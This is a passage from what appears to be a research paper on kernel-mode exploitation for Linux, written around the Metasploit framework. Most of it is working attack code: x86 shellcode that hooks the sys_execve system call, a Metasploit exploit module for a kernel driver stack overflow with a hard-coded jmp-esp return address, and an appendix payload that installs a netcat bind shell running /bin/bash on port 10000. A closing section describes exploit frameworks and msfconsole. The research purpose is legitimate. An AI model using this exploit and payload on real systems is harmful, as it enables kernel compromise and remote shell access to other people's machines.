"\x89\x44\x24\x08"     // mov    %eax,0x8(%esp)
"\x83\xc0\x28"         // add    $0x28,%eax
"\x89\x44\x24\x04"     // mov    %eax,0x4(%esp)

/**
 * now construct the param arrays at the chosen
 * location...
 *
 * NOTE: regs.ecx is stored in a register right at
 * function enter, so we need to subtrace 0x100
 * again (although the value on stack is already
 * correct)
 */
/*
  unsigned char *c = (unsigned char*)regs.ecx - 0x100;
  p = (unsigned int*)c;
  p[0] = (unsigned int)c + 40;  // argv[0]
  p[1] = (unsigned int)c + 48;  // argv[1]
  p[2] = (unsigned int)c + 51;  // argv[2]
  p[3] = (unsigned int)c + 54;  // argv[3]
  p[4] = (unsigned int)c + 60;  // argv[4]
  p[5] = (unsigned int)c + 63;  // argv[5]
  p[6] = (unsigned int)0;   // argv[6]... end of array mark
  c += 40;
  unsigned char *from = 0xc3000008;
  unsigned char *to = from + 33;
  while (from != to)
  {
    *c = *from;
    from++;
    c++;
  }
 */
"\x8d\x81\x28\xff\xff\xff"     // lea    0xffffff28(%ecx),%eax
"\x8d\x91\x00\xff\xff\xff"     // lea    0xffffff00(%ecx),%edx
"\x89\x81\x00\xff\xff\xff"     // mov    %eax,0xffffff00(%ecx)
"\x8d\x81\x30\xff\xff\xff"     // lea    0xffffff30(%ecx),%eax
"\x89\x42\x04"                 // mov    %eax,0x4(%edx)
"\x8d\x81\x33\xff\xff\xff"     // lea    0xffffff33(%ecx),%eax
"\x89\x42\x08"                 // mov    %eax,0x8(%edx)
"\x8d\x81\x36\xff\xff\xff"     // lea    0xffffff36(%ecx),%eax
"\x89\x42\x0c"                 // mov    %eax,0xc(%edx)
"\x8d\x81\x3c\xff\xff\xff"     // lea    0xffffff3c(%ecx),%eax
"\x89\x42\x10"                 // mov    %eax,0x10(%edx)
"\x8d\x81\x3f\xff\xff\xff"     // lea    0xffffff3f(%ecx),%eax
"\x89\x42\x14"                 // mov    %eax,0x14(%edx)
"\xc7\x42\x18\x00\x00\x00\x00" // movl   $0x0,0x18(%edx)
"\xba\x08\x00\x00\xc3"         // mov    $0xc3000008,%edx
"\x0f\xb6\x02"                 // movzbl (%edx),%eax
"\x88\x84\x0a\x20\xff\xff\x3c" // mov    %al,0x3cffff20(%edx,%ecx,1)
"\x83\xc2\x01"                 // add    $0x1,%edx
"\x81\xfa\x29\x00\x00\xc3"     // cmp    $0xc3000029,%edx
"\x75\xeb"                     // jne    70 <bar+0x70>

/**
 * Now jump to the real sys_execve
 */
"\xb8\x41\x41\x41\x41" // mov    AAAA,%eax  << address substituted!!
"\x89\xc2"             // mov    %eax,%edx
"\xff\xe2"             // jmp    *%edx
```

3.3.5 Putting it all together

Without much further ado, here is a Metasploit module that illustrates our exploit.

```
require 'msf/core'

module Msf

class Exploits::Linux::Driver::VulnDriver_Linux < Msf::Exploit::Remote

  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => ... ,
      'Description'    => ... ,
      'Author'         => ... ,
      'License'        => MSF_LICENSE,
      'Version'        => ... ,
      'References'     => ... ,
      'Privileged'     => "true",
      'Platform'       => 'linux',
      'Arch'           => ARCH_X86,
      'Targets'        =>
        [
          # Debian (Kubuntu) Linux 2.6.17 LiveCD
          [
            'Debian (Kubuntu) Linux 2.6.17 LiveCD',
            {
              # Not really reliable, check before using this address!!
              'Ret' => 0xc121154f # jmp esp (in kernel space)
            }
          ]
        ],

      'DefaultTarget' => 0
      )
    )

    register_options( [ ], self.class)
  end

  def exploit
    connect
    sock.put(create_packet)
    handler
    disconnect
  end

  def create_packet
    # fill up the buffer
    buf = rand_text(540)

    # We need a good esp (somewhere read/writeable for kernel space)
    # as we will crash right away!!
    buf += [ 0xcf000000 ].pack('V') # saved stack frame

    # Return address is a jmp ESP
    buf += [ target.ret ].pack('V') # return address

    # add padding to overwrite the parameters to our vulnerable
    # function on the stack.
    # NOTE: different than in windows, linux
    # kernel functions often use registers to
    # pass function arguments rather than the
    # stack!!
    buf += "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    # append payload
    buf += payload.raw

   buf
  end
end
end
```

This exploit looks very similar to the Windows exploit presented in chapter 2. The most glaring difference is that it cannot be used with just any payload, because there is no kernel-mode wrapper yet. For this reason, we added a payload to the framework, that implements the exploit described in this section (i.e. the stager and the *sys_execve* stage). We have included the entire Metasploit payload in section A.

4 Conclusion

Kernel-mode exploits have begun to increasingly garner interest by security experts. Thanks to a lot of theoretical groundwork, the Metasploit project now includes a framework for kernel-mode exploits, that encapsulate regular user-mode exploits. With this paper, we hope to have demonstrated how effective and easy the process of writing Windows kernel-mode exploits has already become. While there is also a considerable amount of documented experience with kernel-mode exploits on Linux publicly available, automated support for exploits in Metasploit is not as far advanced.

Acknowledgments

We would like to thank SEC Consult Unternehmensberatung GmbH and especially Bernhard Müller for their initiative and support for this project. Furthermore, we greatly appreciated the valuable feedback and guidance of Engin Kirda and Christopher Kruegel at the Technical University Vienna.

5 References

References

[1] Daniel P. Bovet, and Marco Cesati, *Understanding the Linux Kernel*, 3rd ed., O'Reilly, Sebastopol, CA, 2005.

[2] bugcheck, and skape, ”windows kernel-mode payload fundamentals”, http://www.uninformed.org/?v=3&a=4&t=txt.

[3] Johnny Cache, H.D. More, and skape ”exploiting 802.11 wireless driver vulnerabilities on windows”, http://uninformed.org/index.cgi?v=6&a=2&t=txt.

[4] Immunity CANVAS Professional http://www.immunitysec.com/products-canvas.shtml

[5] Matt Conover, *Malware Profiling and Rootkit Detection on Windows*, http://xcon.xfocus.org/xcon2005/archives/2005/Xcon2005_Shok.pdf.

[6] Core Security Technologies' Core Impact http://http://www.coresecurity.com/

[7] Jonathan Corbet, Alessandro Rubini, and Greg Kroah-Hartman; *Linux Device Drivers*, 3rd ed., O'Reilly, Sebastopol, CA, 2005.

[8] eEye Digital Security, *Remote Windows Kernel Exploitation: Step into the Ring 0*, http://www.eeye.com/ data/publish/whitepapers/research/OT20050205.FILE.pdf.

[9] Sinan ”noir” Eren, ”Smashing The Kernel Stack For Fun And Profit”, http://www.phrack.org/archives/60/p60-0x06.txt.

[10] Sylvester Keil, and Clemens Kolbitsch, ”Stateful Fuzzing of Wireless Device Drivers in an Emulated Environment”, http://www.seclab.tuwien.ac.at.

[11] David Maynor, ”os x kernel-mode exploitation in a weekend”, http://uninformed.org/?v=8&a=4&t=sumry.

[12] The Metasploit Project http://www.metasploit.com/

[13] SecurityForest's Exploitation Framework http://securityforest.com/wiki/index.php/Exploitation_Framework

[14] sd, and devik, ”Linux on-the-fly kernel patching without LKM”, http://www.phrack.org/archives/58/p58-0x07.

[15] sgrakkyu, and twiz, ”Attacking the Core: Kernel Exploiting Notes”, http://www.phrack.org/issues.html?issue=64&id=6#article.

[16] ”The Microsoft Windows Kernel-Mode Driver Framework” http://www.microsoft.com/whdc/driver/wdf/KMDF.mspx.

Appendix

A Linux kernel-mode stager and payload for Metasploit

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

module Msf
module Payloads
module Singles
module Linux
module X86

###
#
# Stager and payload
# ----
#
# Makes a linux system-call hook to
# a payload that executes
#
# /bin/nc -l -p 10000 -e /bin/bash
#
# instead of the next call to sys_execve.
# Afterwards the system-call is restored
# to its original address.
#
###
module Linux_stager_and_payload

  include Msf::Payload::Single

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Linux Kernel System Call Hook',
      'Version'       => '$Revision: 1 $',
      'Description'   => 'Execute reverse shell in kernel mode',
      'Author'        =>
        [
          'Sylvester Keil',
          'Clemens Kolbitsch'
        ],
      'License'       => MSF_LICENSE,
      'Platform'      => 'linux',
      'Arch'          => ARCH_X86
      ))

    # Register qemu/real-cpu option
    register_options(
      [
        OptString.new('CPU', [ false, "Real|Emulated ... In an emulated
               environment, dynamic syscall-table finding is not supported
               " ])
      ], Msf::Payloads::Singles::Linux::X86::Linux_stager_and_payload)
  end

  def generate
    # execve replacement that executes netcat
    # and then restores the original sys_execve
    execve_payload =
      # "/bin/nc\0-l\0-p\0-e\0/bin/bash\0"
      "\x2f\x62\x69\x6e\x2f\x6e\x63\x00" +
      "\x2d\x6c\x00\x2d\x70\x00\x31\x30" +
      "\x30\x30\x30\x00\x2d\x65\x00\x2f" +
      "\x62\x69\x6e\x2f\x62\x61\x73\x68" +
      "\x00" +

      # restore syscall hook
      "\x8b\x15\x04\x00\x00\xc3\xa1" +
      "\x00\x00\x00\xc3\x8b\x4c\x24\x08" +
      "\x89\x10" +

      # setup new argv
      "\x8b\x44\x24\x08\x2d\x00" +
      "\x01\x00\x00\x89\x44\x24\x08\x83" +
      "\xc0\x28\x89\x44\x24\x04" +

      # start... load-effective-address...
      "\x8d\x81" +
      "\x28\xff\xff\xff\x8d\x91\x00\xff" +
      "\xff\xff\x89\x81\x00\xff\xff\xff" +
      "\x8d\x81\x30\xff\xff\xff\x89\x42" +
      "\x04\x8d\x81\x33\xff\xff\xff\x89" +
      "\x42\x08\x8d\x81\x36\xff\xff\xff" +
      "\x89\x42\x0c\x8d\x81\x3c\xff\xff" +
      "\xff\x89\x42\x10\x8d\x81\x3f\xff" +
      "\xff\xff\x89\x42\x14\xc7\x42\x18" +
      "\x00\x00\x00\x00\xba\x08\x00\x00" +
      "\xc3\x0f\xb6\x02\x88\x84\x0a\x20" +
      "\xff\xff\x3c\x83\xc2\x01\x81\xfa" +
      "\x29\x00\x00\xc3\x75\xeb\xb8\x41" +
      "\x41\x41\x41\x89\xc2\xff\xe2"


    # this stager places the payload at some address
    # and installs a sys_execve hook to the payload
    #
    # the second line is updated later, since the jump
    # depends on the type of syscall-table lookup (as
    # the stager has different lengths then)
    stager_part_1 =
      "\x83\xec\x34" +                     # sub    $0x34,%esp
      "\xe9\x41\x41\x41\x41"               # jmp    44c <stager+0x34d>

    # static setup of sys_call hook & payload location
    static_table_lookup =
      "\xc7\x44\x24\x24\xe0\xa4\x2e\xc0" + # movl   $0xc02ea4e0,0x24(%esp)
      "\xc7\x44\x24\x10\x00\x00\x00\xc3"   # movl   $0xc3000000,0x10(%esp)

    # dynamic setup of sys_call hook & payload location
    dynamic_table_lookup =
      "\x0f\x01\x4c\x24\x02" +             # sidtl  0x2(%esp)

      # find pos of int 0x33 (start address of payload)
      "\x8b\x44\x24\x04" +                 # mov    0x4(%esp),%eax
      "\x05\x98\x01\x00\x00" +             # add    $0x198,%eax
      "\x89\x44\x24\x28" +                 # mov    %eax,0x28(%esp)
      "\x8b\x44\x24\x28" +                 # mov    0x28(%esp),%eax
      "\x0f\xb7\x40\x06" +                 # movzwl 0x6(%eax),%eax
      "\x0f\xb7\xc0" +                     # movzwl %ax,%eax
      "\x89\xc2" +                         # mov    %eax,%edx
      "\xc1\xe2\x10" +                     # shl    $0x10,%edx
      "\x8b\x44\x24\x28" +                 # mov    0x28(%esp),%eax
      "\x0f\xb7\x00" +                     # movzwl (%eax),%eax
      "\x0f\xb7\xc0" +                     # movzwl %ax,%eax
      "\x09\xd0" +                         # or     %edx,%eax
      "\x89\x44\x24\x10" +                 # mov    %eax,0x10(%esp)

      # find pos of int 0x80 (install hook)
      "\x8b\x44\x24\x04" +                 # mov    0x4(%esp),%eax
      "\x05\x00\x04\x00\x00" +             # add    $0x400,%eax
      "\x89\x44\x24\x28" +                 # mov    %eax,0x28(%esp)
      "\x8b\x44\x24\x28" +                 # mov    0x28(%esp),%eax
      "\x0f\xb7\x40\x06" +                 # movzwl 0x6(%eax),%eax
      "\x0f\xb7\xc0" +                     # movzwl %ax,%eax
      "\x89\xc2" +                         # mov    %eax,%edx
      "\xc1\xe2\x10" +                     # shl    $0x10,%edx
      "\x8b\x44\x24\x28" +                 # mov    0x28(%esp),%eax
      "\x0f\xb7\x00" +                     # movzwl (%eax),%eax
      "\x0f\xb7\xc0" +                     # movzwl %ax,%eax
      "\x09\xd0" +                         # or     %edx,%eax
      "\x89\x44\x24\x2c" +                 # mov    %eax,0x2c(%esp)
      "\xc7\x44\x24\x24\x00\x00\x00\x00" + # movl   $0x0,0x24(%esp)
      "\x8b\x44\x24\x2c" +                 # mov    0x2c(%esp),%eax
      "\x89\x44\x24\x30" +                 # mov    %eax,0x30(%esp)
      "\xc7\x44\x24\x14\x00\x00\x00\x00" + # movl   $0x0,0x14(%esp)
      "\xeb\x29" +                         # jmp    17c <stager+0x7d>
      "\x83\x44\x24\x30\x01" +             # addl   $0x1,0x30(%esp)
      "\x8b\x44\x24\x30" +                 # mov    0x30(%esp),%eax
      "\x8b\x00" +                         # mov    (%eax),%eax
      "\xc1\xe0\x08" +                     # shl    $0x8,%eax
      "\x3d\x00\xff\x14\x85" +             # cmp    $0x8514ff00,%eax
      "\x75\x0f" +                         # jne    177 <stager+0x78>
      "\x8b\x44\x24\x30" +                 # mov    0x30(%esp),%eax
      "\x83\xc0\x03" +                     # add    $0x3,%eax
      "\x8b\x00" +                         # mov    (%eax),%eax
      "\x89\x44\x24\x24" +                 # mov    %eax,0x24(%esp)
      "\xeb\x0c" +                         # jmp    183 <stager+0x84>
      "\x83\x44\x24\x14\x01" +             # addl   $0x1,0x14(%esp)
      "\x83\x7c\x24\x14\x63" +             # cmpl   $0x63,0x14(%esp)
      "\x76\xd0" +                         # jbe    153 <stager+0x54>
      "\x83\x7c\x24\x24\x00" +             # cmpl   $0x0,0x24(%esp)
      "\x75\x07" +                         # jne    191 <stager+0x92>
      "\xb8\x11\x00\x00\x00" +             # mov    $0x11,%eax
      "\xff\xe0"                           # jmp    *%eax


    # this part copies the paylod somewhere
    stager_part_2 =
      "\x8b\x44\x24\x24" +                  # mov   \x0x24(%esp),%eax
      "\x83\xc0\x2c" +                      # add    $0x2c,%eax
      "\x89\xc2" +                          # mov    %eax,%edx
      "\x8b\x44\x24\x10" +                  # mov   \x0x10(%esp),%eax
      "\x89\x10" +                          # mov    %edx,(%eax)
      "\x8b\x54\x24\x10" +                  # mov   \x0x10(%esp),%edx
      "\x83\xc2\x04" +                      # add    $0x4,%edx
      "\x8b\x44\x24\x24" +                  # mov   \x0x24(%esp),%eax
      "\x83\xc0\x2c" +                      # add    $0x2c,%eax
      "\x8b\x00" +                          # mov    (%eax),%eax
      "\x89\x02" +                          # mov    %eax,(%edx)
      "\x8b\x44\x24\x10" +                  # mov   \x0x10(%esp),%eax
      "\x83\xc0\x08" +                      # add    $0x8,%eax
      "\x89\x44\x24\x18" +                  # mov    %eax,0x18(%esp)
      "\xc7\x44\x24\x14\x00\x00\x00\x00" +  # movl   $0x0,0x14(%esp)
      "\xeb\x1c" +                          # jmp   \x219 <stager+0x11a>
      "\x8b\x44\x24\x14" +                  # mov   \x0x14(%esp),%eax
      "\x89\xc2" +                          # mov    %eax,%edx
      "\x03\x54\x24\x18" +                  # add   \x0x18(%esp),%edx
      "\x8b\x44\x24\x14" +                  # mov   \x0x14(%esp),%eax
      "\x03\x44\x24\x20" +                  # add   \x0x20(%esp),%eax
      "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
      "\x88\x02" +                          # mov    %al,(%edx)
      "\x83\x44\x24\x14\x01" +              # addl   $0x1,0x14(%esp)
      "\x81\x7c\x24\x14\xaf\x00\x00\x00" +  # cmpl   $0xaf,0x14(%esp)
      "\x76\xda" +                          # jbe   \x1fd <stager+0xfe>
      "\x8b\x44\x24\x10" +                  # mov   \x0x10(%esp),%eax
      "\x83\xc0\x04" +                      # add    $0x4,%eax
      "\x89\x44\x24\x1c" +                  # mov    %eax,0x1c(%esp)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x81\xc2\xa7\x00\x00\x00" +          # add    $0xa7,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x81\xc2\xa8\x00\x00\x00" +          # add    $0xa8,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x01" +                      # add    $0x1,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x81\xc2\xa9\x00\x00\x00" +          # add    $0xa9,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x02" +                      # add    $0x2,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x81\xc2\xaa\x00\x00\x00" +          # add    $0xaa,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x03" +                      # add    $0x3,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x44\x24\x10" +                  # mov   \x0x10(%esp),%eax
  "\x89\x44\x24\x08" +                  # mov    %eax,0x8(%esp)
  "\x8d\x44\x24\x08" +                  # lea   \x0x8(%esp),%eax
  "\x89\x44\x24\x1c" +                  # mov    %eax,0x1c(%esp)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x83\xc2\x28" +                      # add    $0x28,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x83\xc2\x29" +                      # add    $0x29,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x01" +                      # add    $0x1,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x83\xc2\x2a" +                      # add    $0x2a,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x02" +                      # add    $0x2,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x83\xc2\x2b" +                      # add    $0x2b,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x03" +                      # add    $0x3,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x44\x24\x08" +                  # mov   \x0x8(%esp),%eax
  "\x83\xc0\x04" +                      # add    $0x4,%eax
  "\x89\x44\x24\x08" +                  # mov    %eax,0x8(%esp)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x83\xc2\x23" +                      # add    $0x23,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x83\xc2\x24" +                      # add    $0x24,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x01" +                      # add    $0x1,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x83\xc2\x25" +                      # add    $0x25,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x02" +                      # add    $0x2,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x83\xc2\x26" +                      # add    $0x26,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x03" +                      # add    $0x3,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x44\x24\x08" +                  # mov   \x0x8(%esp),%eax
  "\x83\xc0\x04" +                      # add    $0x4,%eax
  "\x89\x44\x24\x08" +                  # mov    %eax,0x8(%esp)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x81\xc2\x8d\x00\x00\x00" +          # add    $0x8d,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x81\xc2\x8e\x00\x00\x00" +          # add    $0x8e,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x01" +                      # add    $0x1,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x81\xc2\x8f\x00\x00\x00" +          # add    $0x8f,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x02" +                      # add    $0x2,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x81\xc2\x90\x00\x00\x00" +          # add    $0x90,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x03" +                      # add    $0x3,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x44\x24\x08" +                  # mov   \x0x8(%esp),%eax
  "\x83\xc0\x21" +                      # add    $0x21,%eax
  "\x89\x44\x24\x08" +                  # mov    %eax,0x8(%esp)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x81\xc2\xa0\x00\x00\x00" +          # add    $0xa0,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x81\xc2\xa1\x00\x00\x00" +          # add    $0xa1,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x01" +                      # add    $0x1,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x81\xc2\xa2\x00\x00\x00" +          # add    $0xa2,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x02" +                      # add    $0x2,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x81\xc2\xa3\x00\x00\x00" +          # add    $0xa3,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x03" +                      # add    $0x3,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x44\x24\x08" +                  # mov   \x0x8(%esp),%eax
  "\x05\xb6\x00\x00\x00" +              # add    $0xb6,%eax
  "\xf7\xd0" +                          # not    %eax
  "\x89\x44\x24\x08" +                  # mov    %eax,0x8(%esp)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x81\xc2\x97\x00\x00\x00" +          # add    $0x97,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x81\xc2\x98\x00\x00\x00" +          # add    $0x98,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x01" +                      # add    $0x1,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x81\xc2\x99\x00\x00\x00" +          # add    $0x99,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x02" +                      # add    $0x2,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)
  "\x8b\x54\x24\x18" +                  # mov   \x0x18(%esp),%edx
  "\x81\xc2\x9a\x00\x00\x00" +          # add    $0x9a,%edx
  "\x8b\x44\x24\x1c" +                  # mov   \x0x1c(%esp),%eax
  "\x83\xc0\x03" +                      # add    $0x3,%eax
  "\x0f\xb6\x00" +                      # movzbl (%eax),%eax
  "\x88\x02" +                          # mov    %al,(%edx)

  # install hook
  "\x8b\x44\x24\x10" +                  # mov   \x0x10(%esp),%eax
  "\x8b\x00" +                          # mov    (%eax),%eax
  "\x89\x44\x24\x0c" +                  # mov    %eax,0xc(%esp)
  "\x8b\x44\x24\x10" +                  # mov   \x0x10(%esp),%eax
  "\x8d\x50\x29" +                      # lea   \x0x29(%eax),%edx
  "\x8b\x44\x24\x0c" +                  # mov   \x0xc(%esp),%eax
  "\x89\x10"                            # mov    %edx,(%eax)


stager_part_3 =
  "\xe8\x00\x00\x00\x00" +             # call   451 <stager_mark>
  # mark
  "\x58" +                             # pop    %eax
  "\x89\xc2" +                         # mov    %eax,%edx
  "\x89\x54\x24\x20" +                 # mov    %edx,0x20(%esp)
  "\x83\x44\x24\x20\x11" +             # addl   $0x11,0x20(%esp)
  "\xe9\xa5\xfc\xff\xff"               # jmp    107 <stager+0x8>

recovery =
  "\xb8\x12\x00\x00\x00" +             # mov    $0x12,%eax
  "\xff\xe0"                           # jmp    *%eax

payload = stager_part_1

if ((datastore['CPU'].to_s.downcase <=> "real") == 0)
  payload += dynamic_table_lookup
elsif ((datastore['CPU'].to_s.downcase <=> "emulated") == 0)
  payload += static_table_lookup
else
  print "WARNING: Undefined CPU type was selected. Defaulting to '
        Emulated'!!\n";
  payload += static_table_lookup
end

# we place the recovery right after
# part 2 so we don't need to jump
# over part 3 once we're done copying...
payload += stager_part_2 + recovery

# fill in correct jump length
payload[4,4] = [ payload.length - stager_part_1.length ].pack('V');

# fill in jump-back length
#
# this is the payload at the end
# of stager_part_1 (this includes
# stager_part_3 without the last
# 5 bytes. the 4 bytes must always
# be subtracted when jumping back
# with \xe9)
stager_part_3[stager_part_3.length - 4, 4] = [ 0xffffffff - 4 - (
      stager_part_3.length - 5) - (payload.length - stager_part_1.
      length) ].pack('V')

payload += stager_part_3 + execve_payload
```

```
    end
  end

  end
  end
  end
  end
  end
```

B Exploit Frameworks

An exploit framework is a set of tools that supports the programmer in repetitive jobs such developing payload code to be executed and sending it to a target machine. Typically, these frameworks even support writing and categorizing exploit code in a higher-level language and give the opportunity to store and search for already existing exploits and their field of action (i.e. on what type of target system they work, etc.).

Today, many different exploit frameworks exist, with many of them being free for download from the internet. Whereas almost all of them share a common set of features, we will discuss their main differences, their advantages and disadvantages, in the following sections.

B.1 The Metasploit Framework

The Metasploit Project[12] is an open source project that includes an exploit framework and is freely available for Windows and Unix systems. It consists of different elements, such as

- an exploit database to categorize and store exploit code,
- a payload database to store payloads for different systems (e.g. Windows, Unix, Mac, etc.) and system-modes (kernel versus. user-mode),
- a web-interface to easily search for exploits and payloads in the system and
- various programs to combine exploit and payload code and directly attack a given machine.

As Metasploit is mostly written in Ruby (with additional modules written in C and assembler), programmers can easily extend Metasploit with their own exploit or payload code that can then be used with other existing parts of the framework to form new attacks.

Metasploit is made up of multiple applications, each very handy for different requirements:

Console interface. The main console interface can be used for looking up available modules like exploit- and payload-code and setting up and launching attacks against other computer systems. The text-based interface is very userfriendly and supports the user with various functions like tab-completion and direct environment calls (i.e. manipulating the filesystem without leaving the Metasploit console). For a detailed description of available commands and further information, please refer to the user-guide included in the Metasploit download.

Command-line interface. Similar to the console interface, a command-line interface is available for automated use of the framework. This interface takes the actions to be executed inside Metasploit as parameter, executes the given tasks and exits afterwards. This is especially handy for repetitive tasks like attacking a wide range of systems or launching different types of attacks on possibly multiple target hosts.

Web interface. Metasploit contains a small webserver. This tool is very useful for searching the database for available exploits and payloads. Furthermore, it provides a very easy-to-use possibility for launching an attack by simply clicking through some web-dialogs, selecting the desired type of exploit and payload, providing a target host address and clicking on an *attack* button that will open a remote shell once the attack was successfully completed.

GUI interface. Similar to the web interface, Metasploit offers a graphical interface to search for and launch exploits.

B.1.1 Attacking a Host via Metasploit

As mentioned in the previous section, Metasploit offers various ways to launch an attack against a target machine. Since the console interface is probably the fastest and most precise way though, we will take a closer look at how a simple attack can be launched in this interface. For more detailed instructions, again refer to the Metasploit user-guide.

After starting the console interface with the command *msfconsole*, the interface will display the current version of Metasploit and some additional information and wait for user commands. By calling *show exploits* and *show payloads* all currently available exploits and payloads are displayed respectively.

